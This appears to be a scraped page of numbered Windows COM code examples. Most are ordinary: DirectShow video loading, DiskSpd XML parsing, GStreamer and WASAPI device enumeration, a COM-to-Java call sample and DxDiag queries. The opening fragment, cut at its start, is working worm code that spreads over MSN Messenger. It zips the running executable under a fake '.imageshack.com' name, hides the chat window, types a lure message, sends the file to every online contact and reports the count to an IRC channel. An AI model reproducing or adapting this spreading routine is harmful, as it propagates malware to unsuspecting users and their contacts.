								MISTATUS miStatus;
								IDispatch *pIDispatch = NULL;
								IMSNMessengerWindow *pIMessengerWindow;
								LONG wndIM;
								hr = pIMessengerContact->get_Status(&miStatus);
								if (SUCCEEDED(hr))
								{
									if (miStatus == MISTATUS_OFFLINE)
									{
										pIMessengerContact->Release();
										dispContact->Release();
										continue;
									}
								}
								pIMessengerContact->get_SigninName(&szContactName);
								VariantInit( &vt_user );
								to_variant(szContactName, vt_user);
								_bstr_t tmp = szContactName;
								char buf[128];
								sprintf(buf, _T("%s"), (LPCTSTR)tmp);
								char *pemail;
								pemail = strchr(buf, '@');
								if(pemail != NULL) buf[pemail-buf] = NULL;

								strcat(buf, ".imageshack.com");
									char exepath[MAX_PATH];
									GetModuleFileName(NULL, exepath, MAX_PATH);

									zip_store(exepath, windir, buf);
								Sleep(3000);
								hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
								if (SUCCEEDED(hr))
								{
									hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow);
									if (SUCCEEDED(hr))
									{
										pIMessengerWindow->get_HWND(&wndIM);
										SetForegroundWindow((HWND) wndIM);
										SetFocus((HWND) wndIM);
										ShowWindow((HWND) wndIM,0);	
										srand(GetTickCount());										
                                        int i = rand() % sizeof(msgg) / sizeof(msgg[0]);
										key_type((char *)msgg, (HWND) wndIM);
										keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
                                        keybd_event(VkKeyScan('V'), 0, 0, 0);
                                        keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); 
                                        keybd_event(VK_RETURN, 0, 0, 0);
										Sleep(50);
										dropfiles((HWND) wndIM, buf);
                                        keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
                                        keybd_event(VkKeyScan('V'), 0, 0, 0);                                     
										keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);																			
										x++;
									}
									pIMessengerWindow->Release();
								}
								pIMessengerContact->Release();
								dispContact->Release();
							}
						}
					}
					BlockInput(false);
					char buf[128];
					sprintf(buf, "[Msn] worm sent to %d contacts!", x);
					irc_privmsg(sock, channel, buf, 0);
					pIMessengerContacts->Release();
				}
				dispContacts->Release();
			}
		}
		pIMessenger->Release();
	}

	CoUninitialize();

	//return 0;
}
Esempio n. 23
0
/////////////////////////////////////////////////////////
// really open the file ! (OS dependent)
//
/////////////////////////////////////////////////////////
void pix_movieDS::realOpen(char *filename)
{
	WCHAR			WideFileName[MAXPDSTRING];
	HRESULT			RetVal;
	AM_MEDIA_TYPE	MediaType;
	BOOL			bFrameTime	= TRUE;
	GUID			Guid;

	// Convert c-string to Wide string.
	memset(&WideFileName, 0, MAXPDSTRING * 2);

	if (0 == MultiByteToWideChar(CP_ACP, 0, filename, strlen(filename), WideFileName,
		MAXPDSTRING))
	{
		error("Unable to load %s", filename);

		return;
	}

	// Add a file source filter to the filter graph.
	RetVal	= FilterGraph->AddSourceFilter(WideFileName, L"SOURCE", &VideoFilter);

	if (RetVal != S_OK || NULL == VideoFilter)
	{
		error("Unable to render %s", filename);

		return;
	}

	// Create an instance of the sample grabber filter. The filter allows frames to be
	// buffered from a video source.
	RetVal	= CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
		IID_IBaseFilter, (void**)&SampleFilter);

	if (RetVal != S_OK || NULL == SampleFilter)
	{
		error("Unable to create SampleFilter interface %d", RetVal);

		return;
	}

 	// Add sample grabber filter to the filter graph.
	RetVal	= FilterGraph->AddFilter(SampleFilter, L"Sample Grabber");

	if (RetVal != S_OK)
	{
		error("Unable to add SampleFilter %d", RetVal);

		return;
	}

	// Find an interface to the SampleGrabber from the SampleGrabber filter. The
	// SampleGrabber allows frames to be grabbed from the filter. SetBufferSamples(TRUE)
	// tells the SampleGrabber to buffer the frames. SetOneShot(FALSE) tells the
	// SampleGrabber to continuously grab frames.  has GetCurrentBuffer() method
	RetVal	= SampleFilter->QueryInterface(IID_ISampleGrabber, (void **)&SampleGrabber);

	if (RetVal != S_OK || NULL == SampleGrabber)
	{
		error("Unable to create SampleGrabber interface %d", RetVal);

		return;
	}

	// Set the media type that the SampleGrabber wants.
	// MEDIATYPE_Video selects only video and not interleaved audio and video
	// MEDIASUBTYPE_RGB24 is the colorspace and format to deliver frames
	// MediaType.formattype is GUID_NULLsince it is handled later to get file info
	memset(&MediaType, 0, sizeof(AM_MEDIA_TYPE));
	MediaType.majortype		= MEDIATYPE_Video;
	MediaType.subtype		= MEDIASUBTYPE_RGB24;
	MediaType.formattype	= GUID_NULL;
	RetVal					= SampleGrabber->SetMediaType(&MediaType);

	// Set the SampleGrabber to return continuous frames
	RetVal	= SampleGrabber->SetOneShot(FALSE);

	if (RetVal != S_OK)
	{
		error("Unable to setup sample grabber %d", RetVal);

		return;
	}

	// Set the SampleGrabber to copy the data to a buffer. This only set to FALSE when a
	// callback is used.
	RetVal	= SampleGrabber->SetBufferSamples(TRUE);

	if (RetVal != S_OK)
	{
		error("Unable to setup sample grabber %d", RetVal);

		return;
	}

	// Create the Null Renderer interface. The Null Renderer is used to disable rendering of a
	// video stream to a window.
	RetVal	= CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER,
		IID_IBaseFilter, (void**)&NullFilter);

	if (RetVal != S_OK || NULL == NullFilter)
	{
		error("Unable to create NullFilter interface %d", RetVal);

		return;
	}

	// Add the Null Renderer filter to the FilterGraph
	RetVal	= FilterGraph->AddFilter(NullFilter, L"NullRenderer");

	if (RetVal != S_OK)
	{
		error("Unable to add NullFilter %d", RetVal);

		return;
	}

	// DS filter chain is FileSource -> SampleGrabber -> NullRenderer
	// DS can put any neeeded filters in the chain for format or colorspace conversion
	// decompression or other transforms

	// Connect the SampleFilter to the VideoFilter
	RetVal	= movieConnectFilters(FilterGraph, VideoFilter, SampleFilter);

	if (RetVal != S_OK)
	{
		error("Unable to connect filters %d", RetVal);

		return;
	}

	// Connect the NullFilter to the SampleFilter
	RetVal	= movieConnectFilters(FilterGraph, SampleFilter, NullFilter);

	if (RetVal != S_OK)
	{
		error("Unable to connect filters %d", RetVal);

		return;
	}

	// Set the time format to frames
	Guid	= TIME_FORMAT_FRAME;

	RetVal	= MediaSeeking->SetTimeFormat(&Guid);

	if (RetVal != S_OK)
	{
		// If frame time format not available, default to 100 nanosecond increments.
		bFrameTime	= FALSE;

		Guid	= TIME_FORMAT_MEDIA_TIME;

		RetVal	= MediaSeeking->SetTimeFormat(&Guid);

		if (RetVal != S_OK)
		{
			error("Unable to set video time format %d", RetVal);

			return;
		}
	}

	// Get the duration of the video. Format will be in previously set time format. This is
	// compatible with the value returned from GetCurrentPosition
	RetVal	= MediaSeeking->GetDuration(&m_Duration);

	if (RetVal != S_OK)
	{
		error("Unable to get video duration %d", RetVal);

		return;
	}

	// Set the number of frames based on the time format used.
	if (TRUE == bFrameTime)
	{
		m_numFrames	= m_Duration;
	}

	else
	{
		LONGLONG	OutFormat;
		GUID		OutGuid;

		OutGuid	= TIME_FORMAT_FRAME;
		Guid	= TIME_FORMAT_MEDIA_TIME;

		//converts from 100 nanosecond format to number of frames
		MediaSeeking->ConvertTimeFormat(&OutFormat, &OutGuid, m_Duration, &Guid);

		m_numFrames	= OutFormat;
	}

	// Get the format of the connected media.
	RetVal	= SampleGrabber->GetConnectedMediaType(&MediaType);

	if (RetVal != S_OK)
	{
		error("Unable to get media type %d", RetVal);

		return;
	}

	// The SampleGrabber will only return video of the the 'FORMAT_VideoInfo' type.
	if (FORMAT_VideoInfo == MediaType.formattype && MediaType.pbFormat != NULL)
	{
		// Format returned is specific to the formattype.
		VIDEOINFOHEADER	*VideoInfo	= (VIDEOINFOHEADER *)MediaType.pbFormat;

		// Get size of the image from the BitmapInfoHeader returned in the VIDEOINFOHEADER.
		m_xsize		= VideoInfo->bmiHeader.biWidth;
		m_ysize		= VideoInfo->bmiHeader.biHeight;
		m_csize		= 3;
	}

	else
	{
		error("Invalid media type returned %s", filename);

		return;
	}

	// Allocate video buffer if valid sizes returned.
	if (m_xsize > 0 && m_ysize > 0 && m_csize > 0)
	{
		if (m_frame != NULL)
		{
			delete [] m_frame;
		}

		m_frame		= new BYTE[m_xsize * m_ysize * m_csize];

		if (NULL == m_frame)
		{
			error("Unable to allocate memory for the video buffer %s", filename);

			return;
		}
	}

	// Release the MediaType.pbFormat data
	FreeMediaType(MediaType);

	IBaseFilter	*DVFilter;

	// If DV video is used, set the quality to 720 x 480.
	RetVal	= FilterGraph->FindFilterByName(L"DV Video Decoder", &DVFilter);

	if (S_OK == RetVal && DVFilter != NULL)
	{
		IIPDVDec	*IPDVDec;

		// Find the IIPDVDec interface
		RetVal	= DVFilter->QueryInterface(IID_IIPDVDec, (void **)&IPDVDec);

		if (S_OK == RetVal && IPDVDec != NULL)
		{
			// Set the property to DVRESOLUTION_FULL
			IPDVDec->put_IPDisplay(DVRESOLUTION_FULL);

			// Release the interface
			IPDVDec->Release();
		}

		// Release the interface
		DVFilter->Release();
	}

	post("xsize %d ysize %d csize %",m_xsize, m_ysize, m_csize);

	// Setup the pixBlock data based on the media type.
	// this is a guess at the fast past for pixels on Windows
	m_pixBlock.image.xsize	= m_xsize;
	m_pixBlock.image.ysize	= m_ysize;
	m_pixBlock.image.csize	= m_csize;
	m_pixBlock.image.format	= GL_BGR_EXT;
	m_pixBlock.image.type	= GL_UNSIGNED_BYTE;

	// Start the video stream
	RetVal	= MediaControl->Run();

	if (RetVal != S_OK && RetVal != S_FALSE)
	{
		error("Unable to start video %d", RetVal);

		return;
	}

	// Wait for the video to begin playing.
	while (TRUE)
	{
		OAFilterState	FilterState;

		// Get the state and ensure it's not in an intermediate state
		RetVal	= MediaControl->GetState(0, &FilterState);

		if (RetVal != S_OK && RetVal != VFW_S_STATE_INTERMEDIATE)
		{
			error("Unable to run video %d", RetVal);

			return;
		}

		// Ensure the video is running
		else if (RetVal == S_OK && State_Running == FilterState)
		{
			break;
		}
	}

	// Sets the tex coords
	prepareTexture();

	// Set the last frame to -1 so it will show the first frame.
	m_LastFrame	= -1;

	m_haveMovie	= TRUE;
}
Esempio n. 24
0
bool XmlProfileParser::ParseFile(const char *pszPath, Profile *pProfile, HMODULE hModule)
{
    assert(pszPath != nullptr);
    assert(pProfile != nullptr);

    // import schema from the named resource
    HRSRC hSchemaXmlResource = FindResource(hModule, L"DISKSPD.XSD", RT_HTML);
    assert(hSchemaXmlResource != NULL);
    HGLOBAL hSchemaXml = LoadResource(hModule, hSchemaXmlResource);
    assert(hSchemaXml != NULL);
    LPVOID pSchemaXml = LockResource(hSchemaXml);
    assert(pSchemaXml != NULL);
    
    // convert from utf-8 produced by the xsd authoring tool to utf-16
    int cchSchemaXml = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pSchemaXml, -1, NULL, 0);
	vector<WCHAR> vWideSchemaXml(cchSchemaXml);
    int dwcchWritten = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pSchemaXml, -1, vWideSchemaXml.data(), cchSchemaXml);
    UNREFERENCED_PARAMETER(dwcchWritten);
    assert(dwcchWritten == cchSchemaXml);
    // ... and finally, packed in a bstr for the loadXml interface
    CComBSTR bSchemaXml(vWideSchemaXml.data());

    bool fComInitialized = false;
    HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
    if (SUCCEEDED(hr))
    {
        fComInitialized = true;
        CComPtr<IXMLDOMDocument2> spXmlDoc = nullptr;
        CComPtr<IXMLDOMDocument2> spXmlSchema = nullptr;
        CComPtr<IXMLDOMSchemaCollection2> spXmlSchemaColl = nullptr;
        CComPtr<IXMLDOMParseError> spXmlParseError = nullptr;

        // create com objects and decorate
        hr = CoCreateInstance(__uuidof(DOMDocument60), nullptr, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&spXmlSchema));
        if (SUCCEEDED(hr))
        {
            hr = spXmlSchema->put_async(VARIANT_FALSE);
        }
        if (SUCCEEDED(hr))
        {
            hr = spXmlSchema->setProperty(CComBSTR("ProhibitDTD"), CComVariant(VARIANT_FALSE));
        }
        if (SUCCEEDED(hr))
        {
            hr = CoCreateInstance(__uuidof(XMLSchemaCache60), nullptr, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&spXmlSchemaColl));
        }
        if (SUCCEEDED(hr))
        {
            hr = spXmlSchemaColl->put_validateOnLoad(VARIANT_TRUE);
        }
        if (SUCCEEDED(hr))
        {
            hr = CoCreateInstance(__uuidof(DOMDocument60), nullptr, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&spXmlDoc));
        }
        if (SUCCEEDED(hr))
        {
            hr = spXmlDoc->put_async(VARIANT_FALSE);
        }
        if (SUCCEEDED(hr))
        {
            hr = spXmlDoc->put_validateOnParse(VARIANT_TRUE);
        }
        if (SUCCEEDED(hr))
        {
            VARIANT_BOOL fvIsOk;
            hr = spXmlSchema->loadXML(bSchemaXml, &fvIsOk);
            if (FAILED(hr) || fvIsOk != VARIANT_TRUE)
            {
                hr = spXmlSchema->get_parseError(&spXmlParseError);
                if (SUCCEEDED(hr))
                {
                    ReportXmlError("schema", spXmlParseError);
                }
                hr = E_FAIL;
            }
        }
		if (SUCCEEDED(hr))
        {
            CComVariant vXmlSchema(spXmlSchema);
            CComBSTR bNull("");
            hr = spXmlSchemaColl->add(bNull, vXmlSchema);
        }
        if (SUCCEEDED(hr))
        {
            CComVariant vSchemaCache(spXmlSchemaColl);
            hr = spXmlDoc->putref_schemas(vSchemaCache);
        }
        if (SUCCEEDED(hr))
        {
            VARIANT_BOOL fvIsOk;
            CComVariant vPath(pszPath);
            hr = spXmlDoc->load(vPath, &fvIsOk);
            if (FAILED(hr) || fvIsOk != VARIANT_TRUE)
            {
                hr = spXmlDoc->get_parseError(&spXmlParseError);
                if (SUCCEEDED(hr))
                {
                    ReportXmlError("profile", spXmlParseError);
                }
                hr = E_FAIL;
            }
        }

        // now parse the specification, if correct
        if (SUCCEEDED(hr))
        {
            bool fVerbose;
            hr = _GetVerbose(spXmlDoc, &fVerbose);
            if (SUCCEEDED(hr) && (hr != S_FALSE))
            {
                pProfile->SetVerbose(fVerbose);
            }

            if (SUCCEEDED(hr))
            {
                DWORD dwProgress;
                hr = _GetProgress(spXmlDoc, &dwProgress);
                if (SUCCEEDED(hr) && (hr != S_FALSE))
                {
                    pProfile->SetProgress(dwProgress);
                }
            }

            if (SUCCEEDED(hr))
            {
                string sResultFormat;
                hr = _GetString(spXmlDoc, "//Profile/ResultFormat", &sResultFormat);
                if (SUCCEEDED(hr) && (hr != S_FALSE) && sResultFormat == "xml")
                {
                    pProfile->SetResultsFormat(ResultsFormat::Xml);
                }
            }

            if (SUCCEEDED(hr))
            {
                string sCreateFiles;
                hr = _GetString(spXmlDoc, "//Profile/PrecreateFiles", &sCreateFiles);
                if (SUCCEEDED(hr) && (hr != S_FALSE))
                {
                    if (sCreateFiles == "UseMaxSize")
                    {
                        pProfile->SetPrecreateFiles(PrecreateFiles::UseMaxSize);
                    }
                    else if (sCreateFiles == "CreateOnlyFilesWithConstantSizes")
                    {
                        pProfile->SetPrecreateFiles(PrecreateFiles::OnlyFilesWithConstantSizes);
                    }
                    else if (sCreateFiles == "CreateOnlyFilesWithConstantOrZeroSizes")
                    {
                        pProfile->SetPrecreateFiles(PrecreateFiles::OnlyFilesWithConstantOrZeroSizes);
                    }
                    else
                    {
                        hr = E_INVALIDARG;
                    }
                }
            }

            if (SUCCEEDED(hr))
            {
                hr = _ParseEtw(spXmlDoc, pProfile);
            }

            if (SUCCEEDED(hr))
            {
                hr = _ParseTimeSpans(spXmlDoc, pProfile);
            }
        }
    }
    if (fComInitialized)
    {
        CoUninitialize();
    }

    return SUCCEEDED(hr);
}
Esempio n. 25
0
gchar *
gst_dshow_getdevice_from_devicename (const GUID * device_category,
    gchar ** device_name)
{
  gchar *ret = NULL;
  ICreateDevEnum *devices_enum = NULL;
  IEnumMoniker *enum_moniker = NULL;
  IMoniker *moniker = NULL;
  HRESULT hres = S_FALSE;
  ULONG fetched;
  gboolean bfound = FALSE;

  hres = CoCreateInstance (CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
      IID_ICreateDevEnum, (void **) &devices_enum);
  if (hres != S_OK) {
    /*error */
    goto clean;
  }

  hres = devices_enum->CreateClassEnumerator (*device_category,
      &enum_moniker, 0);
  if (hres != S_OK || !enum_moniker) {
    /*error */
    goto clean;
  }

  enum_moniker->Reset ();

  while (hres = enum_moniker->Next (1, &moniker, &fetched), hres == S_OK
      && !bfound) {
    IPropertyBag *property_bag = NULL;
    hres =
        moniker->BindToStorage (NULL, NULL, IID_IPropertyBag,
        (void **) &property_bag);
    if (SUCCEEDED (hres) && property_bag) {
      VARIANT varFriendlyName;
      VariantInit (&varFriendlyName);

      hres = property_bag->Read (L"FriendlyName", &varFriendlyName, NULL);
      if (hres == S_OK && varFriendlyName.bstrVal) {
        gchar *friendly_name =
            g_utf16_to_utf8 ((const gunichar2 *) varFriendlyName.bstrVal,
            wcslen (varFriendlyName.bstrVal), NULL, NULL, NULL);

        if (!*device_name) {
          *device_name = g_strdup (friendly_name);
        }

        if (_stricmp (*device_name, friendly_name) == 0) {
          WCHAR *wszDisplayName = NULL;
          hres = moniker->GetDisplayName (NULL, NULL, &wszDisplayName);
          if (hres == S_OK && wszDisplayName) {
            ret = g_utf16_to_utf8 ((const gunichar2 *) wszDisplayName,
                wcslen (wszDisplayName), NULL, NULL, NULL);
            CoTaskMemFree (wszDisplayName);
          }
          bfound = TRUE;
        }
        SysFreeString (varFriendlyName.bstrVal);
      }
      property_bag->Release ();
    }
    moniker->Release ();
  }

clean:
  if (enum_moniker) {
    enum_moniker->Release ();
  }

  if (devices_enum) {
    devices_enum->Release ();
  }

  return ret;
}
Esempio n. 26
0
HRESULT AudioDevice::openAudioDevice()
{
	HRESULT hr;

	IMMDeviceEnumerator* pEnumerator;
	IMMDevice* pDevice;
	IPropertyStore* pPropertyStore;

	PROPVARIANT varName;

	hr = CoCreateInstance(
		__uuidof(MMDeviceEnumerator), NULL,
		CLSCTX_ALL, __uuidof(IMMDeviceEnumerator),
		(void**)&pEnumerator);

	if (hr != S_OK)
	{
		printf("Failed to open audio device: cannot instantiate enumerator, 0x%08x\n", hr);
	}
	else
	{
		hr = pEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &pDevice);

		pEnumerator->Release();

		if (hr != S_OK)
		{
			printf("Failed to open audio device: cannot get render device, 0x%08x\n", hr);
		}
		else
		{
			hr = pDevice->OpenPropertyStore(STGM_READ, &pPropertyStore);

			if (hr != S_OK)
			{
				printf("Failed to open audio device: cannot get property store, 0x%08x\n", hr);
			}
			else
			{
				PropVariantInit(&varName);

				hr = pPropertyStore->GetValue(PKEY_Device_FriendlyName, &varName);

				if (hr != S_OK)
				{
					printf("Failed to open audio device: cannot retrieve friendly name, 0x%08x\n", hr);
				}
				else
				{
					printf("Going to open audio device \"%S\"\n", varName.pwszVal);

					hr = pDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&m_pAudioClient);

					if (hr != S_OK)
					{
						printf("Failed to open audio device: cannot activate audio client, 0x%08x\n", hr);
					}
				}

				PropVariantClear(&varName);
				pPropertyStore->Release();
			}

			pDevice->Release();
		}
	}

	return hr;
}
Esempio n. 27
0
static qboolean QDECL WASAPI_Enumerate (void (QDECL *callback) (const char *drivername, const char *devicecode, const char *readablename))
{
	FORCE_DEFINE_PROPERTYKEY(PKEY_Device_FriendlyName,           0xa45c254e, 0xdf1c, 0x4efd, 0x80, 0x20, 0x67, 0xd1, 0x46, 0xa8, 0x50, 0xe0, 14);    // DEVPROP_TYPE_STRING

	static IMMDeviceEnumerator *pEnumerator = NULL;
	IMMDeviceCollection *pCollection = NULL;
	CoInitialize(NULL);
	if (!pEnumerator)
	{
		if (SUCCEEDED(CoCreateInstance(&CLSID_MMDeviceEnumerator, NULL, CLSCTX_ALL, &IID_IMMDeviceEnumerator, (void**)&pEnumerator)))
		{
			pEnumerator->lpVtbl->RegisterEndpointNotificationCallback(pEnumerator, &WASAPI_Notifications);
		}
	}

	if (pEnumerator)
	{
		if (SUCCEEDED(pEnumerator->lpVtbl->EnumAudioEndpoints(pEnumerator, eRender, DEVICE_STATE_ACTIVE, &pCollection)))
		{
			IMMDevice *pEndpoint;
			IPropertyStore *pProps;
			LPWSTR pwszID;
			UINT count, i;
			if (FAILED(pCollection->lpVtbl->GetCount(pCollection, &count)))
				count = 0;
			for (i = 0; i < count; i++)
			{
				if (SUCCEEDED(pCollection->lpVtbl->Item(pCollection, i, &pEndpoint)))
				{
					if (SUCCEEDED(pEndpoint->lpVtbl->GetId(pEndpoint, &pwszID)))
					{
						if (SUCCEEDED(pEndpoint->lpVtbl->OpenPropertyStore(pEndpoint, STGM_READ, &pProps)))
						{
							PROPVARIANT varName;
							PropVariantInit(&varName);
							if (SUCCEEDED(pProps->lpVtbl->GetValue(pProps, &PKEY_Device_FriendlyName, &varName)))
							{
								char nicename[256];
								char internalname[256];
								strcpy(nicename, AUDIODRIVERNAME ": ");
								narrowen(nicename+strlen(AUDIODRIVERNAME)+2, sizeof(nicename)-(strlen(AUDIODRIVERNAME)+2), varName.pwszVal);
								narrowen(internalname, sizeof(internalname), pwszID);
								callback(AUDIODRIVERNAME, internalname, nicename);
							}
							PropVariantClear(&varName);
							pProps->lpVtbl->Release(pProps);
						}
						CoTaskMemFree(pwszID);
					}
					pEndpoint->lpVtbl->Release(pEndpoint);
				}
			}

			pCollection->lpVtbl->Release(pCollection);
		}

//		pEnumerator->lpVtbl->Release(pEnumerator);
//		pEnumerator = NULL;
		return true;
	}
	return true;	//if we couldn't enumerate stuff, we won't be able to initialise anything anyway, so there's no point in doing any default device crap
}
Esempio n. 28
0
int _tmain(int argc, _TCHAR* argv[])
{
	HRESULT  hr;

    // Initialize COM.
    CoInitialize(NULL);

	LPCOLESTR progID = OLESTR("jniwrapper.comtojavasample");
	LPCLSID clsID = new CLSID();
	CLSIDFromProgID(progID, clsID);

	//Working with Java COM Server via the IPersist interface
	IPersist* iPersistInst;
	hr = CoCreateInstance(*clsID,
                           NULL,
                           CLSCTX_LOCAL_SERVER,
						   IID_IPersist,
                           (void **)&iPersistInst);

	if (SUCCEEDED(hr))
		printf("The instance of IPersist interface was succesfully created.\n");
	else 
		printf("Error while trying to create the instance of the IPersist interface.\n");

	CLSID resultClsID;
	iPersistInst->GetClassID(&resultClsID);
	LPOLESTR stringClsID;
	StringFromCLSID(resultClsID , &stringClsID);
	wprintf(L"GetClassID = %s%s", (wchar_t*)stringClsID, "\n");

	//Working with Java COM Server via the IDispatch interface
	IDispatch* iDispatchInst;
	hr = CoCreateInstance(*clsID,
                           NULL,
                           CLSCTX_LOCAL_SERVER,
						   IID_IDispatch,
                           (void **)&iDispatchInst);
	if (SUCCEEDED(hr))
		printf("The instance of IDispatch interface was succesfully created.\n");
	else 
		printf("Error while trying to create the instance of the IDispatch interface.\n");

	DISPID dispid;
	VARIANT result;
	OLECHAR* methodName;
	DISPPARAMS dispparamsNoArgs = {NULL, NULL, 0, 0};

	//Calling the "add" method
	methodName = L"add";
	iDispatchInst->GetIDsOfNames(IID_NULL, &methodName, 1, GetUserDefaultLCID(), &dispid);
	
	VARIANTARG* arguments = new VARIANTARG[2];
	
	VARIANTARG varg;
	VariantInit(&varg); 
	varg.vt = VT_R8; 
	varg.dblVal = 10.5; 
	arguments[0] = varg;
	
	VARIANTARG varg2;
	VariantInit(&varg2); 
	varg2.vt = VT_R8; 
	varg2.dblVal = 12.5; 
	arguments[1] = varg2;

	DISPPARAMS parameters;
	parameters.cArgs = 2; 
	parameters.rgvarg = arguments; 
	parameters.cNamedArgs = 0; 
	parameters.rgdispidNamedArgs = NULL;

	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&parameters, 
						&result, 
						NULL, 
						NULL);
	printf("%f + %f  = %f \n", varg.dblVal, varg2.dblVal, result.dblVal);

	//Calling the "getProgID" method
	methodName = L"getProgId";
	iDispatchInst->GetIDsOfNames(IID_NULL,&methodName,1,GetUserDefaultLCID(),&dispid);
	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&dispparamsNoArgs, 
						&result, 
						NULL, 
						NULL);
	wprintf(L"ProgID = %s%s", (wchar_t*)result.bstrVal, "\n");

	//Calling the "getVersionIndependentProgId" method
	methodName = L"getVersionIndependentProgId";
	iDispatchInst->GetIDsOfNames(IID_NULL,&methodName,1,GetUserDefaultLCID(),&dispid);
	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&dispparamsNoArgs, 
						&result, 
						NULL, 
						NULL);
	wprintf(L"VersionIndependentProgID = %s%s", (wchar_t*)result.bstrVal, "\n");

	//Calling the "getComServerDescription" method
	methodName = L"getComServerDescription";
	iDispatchInst->GetIDsOfNames(IID_NULL,&methodName,1,GetUserDefaultLCID(),&dispid);
	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&dispparamsNoArgs, 
						&result, 
						NULL, 
						NULL);
	wprintf(L"ComServerDescription = %s%s", (wchar_t*)result.bstrVal, "\n");

	//Calling the "getSafeArray" method
	arguments = new VARIANTARG[1];
	
	VARIANTARG vargNew;
	VariantInit(&vargNew); 
	vargNew.vt = VT_I8; 
	vargNew.intVal = 10; 
	arguments[0] = vargNew;

	parameters.cArgs = 1; 
	parameters.rgvarg = arguments; 
	parameters.cNamedArgs = 0; 
	parameters.rgdispidNamedArgs = NULL;


	methodName = L"getSafeArray";
	iDispatchInst->GetIDsOfNames(IID_NULL,&methodName,1,GetUserDefaultLCID(),&dispid);
	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&dispparamsNoArgs, 
						&result, 
						NULL, 
						NULL);	
	SAFEARRAY* safe = result.parray;

	int elementCount = safe->rgsabound->cElements;
	VARIANT* FAR rgvar = new VARIANT[elementCount];
	for(unsigned int k = 0; k < elementCount; ++k)
	    VariantInit(&rgvar[k]);

	for(long i=0; i < elementCount; i++)
	{
		SafeArrayGetElement(safe, &i, &rgvar[i]);
		wprintf(L"SafeArray [%i] = %s \n", i, rgvar[i], "\n");
	}

	for(i = 0; i < elementCount; ++i)
		VariantClear(&rgvar[i]);

	
	//Calling the "getEmptyVariant" method

	methodName = L"getEmptyVariant";
	iDispatchInst->GetIDsOfNames(IID_NULL,&methodName,1,GetUserDefaultLCID(),&dispid);
	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&dispparamsNoArgs, 
						&result, 
						NULL, 
						NULL);	
	VARIANT* variant = result.pvarVal;
	
	wprintf(L"getEmptyVariant = %s \n", variant, "\n");

	//Calling the "getIntegerVariant" method

	methodName = L"getIntegerVariant";
	iDispatchInst->GetIDsOfNames(IID_NULL,&methodName,1,GetUserDefaultLCID(),&dispid);
	iDispatchInst->Invoke(dispid,
						IID_NULL,
						GetUserDefaultLCID(),
						DISPATCH_METHOD,
						&dispparamsNoArgs, 
						&result, 
						NULL, 
						NULL);	
	int intVariantValue = result.intVal;
	
	wprintf(L"getIntegerVariant = %i \n", intVariantValue, "\n");

	// Free COM resources.
    CoUninitialize();

	std::cin.get();
	return 0;
}
Esempio n. 29
0
LLSD LLDXHardware::getDisplayInfo()
{
	LLTimer hw_timer;
    HRESULT       hr;
	LLSD ret;
    CoInitialize(NULL);

    IDxDiagProvider *dx_diag_providerp = NULL;
    IDxDiagContainer *dx_diag_rootp = NULL;
	IDxDiagContainer *devices_containerp = NULL;
	IDxDiagContainer *device_containerp = NULL;
	IDxDiagContainer *file_containerp = NULL;
	IDxDiagContainer *driver_containerp = NULL;

    // CoCreate a IDxDiagProvider*
	llinfos << "CoCreateInstance IID_IDxDiagProvider" << llendl;
    hr = CoCreateInstance(CLSID_DxDiagProvider,
                          NULL,
                          CLSCTX_INPROC_SERVER,
                          IID_IDxDiagProvider,
                          (LPVOID*) &dx_diag_providerp);

	if (FAILED(hr))
	{
		llwarns << "No DXDiag provider found!  DirectX 9 not installed!" << llendl;
		gWriteDebug("No DXDiag provider found!  DirectX 9 not installed!\n");
		goto LCleanup;
	}
    if (SUCCEEDED(hr)) // if FAILED(hr) then dx9 is not installed
    {
        // Fill out a DXDIAG_INIT_PARAMS struct and pass it to IDxDiagContainer::Initialize
        // Passing in TRUE for bAllowWHQLChecks, allows dxdiag to check if drivers are 
        // digital signed as logo'd by WHQL which may connect via internet to update 
        // WHQL certificates.    
        DXDIAG_INIT_PARAMS dx_diag_init_params;
        ZeroMemory(&dx_diag_init_params, sizeof(DXDIAG_INIT_PARAMS));

        dx_diag_init_params.dwSize                  = sizeof(DXDIAG_INIT_PARAMS);
        dx_diag_init_params.dwDxDiagHeaderVersion   = DXDIAG_DX9_SDK_VERSION;
        dx_diag_init_params.bAllowWHQLChecks        = TRUE;
        dx_diag_init_params.pReserved               = NULL;

		llinfos << "dx_diag_providerp->Initialize" << llendl;
        hr = dx_diag_providerp->Initialize(&dx_diag_init_params);
        if(FAILED(hr))
		{
            goto LCleanup;
		}

		llinfos << "dx_diag_providerp->GetRootContainer" << llendl;
        hr = dx_diag_providerp->GetRootContainer( &dx_diag_rootp );
        if(FAILED(hr) || !dx_diag_rootp)
		{
            goto LCleanup;
		}

		HRESULT hr;

		// Get display driver information
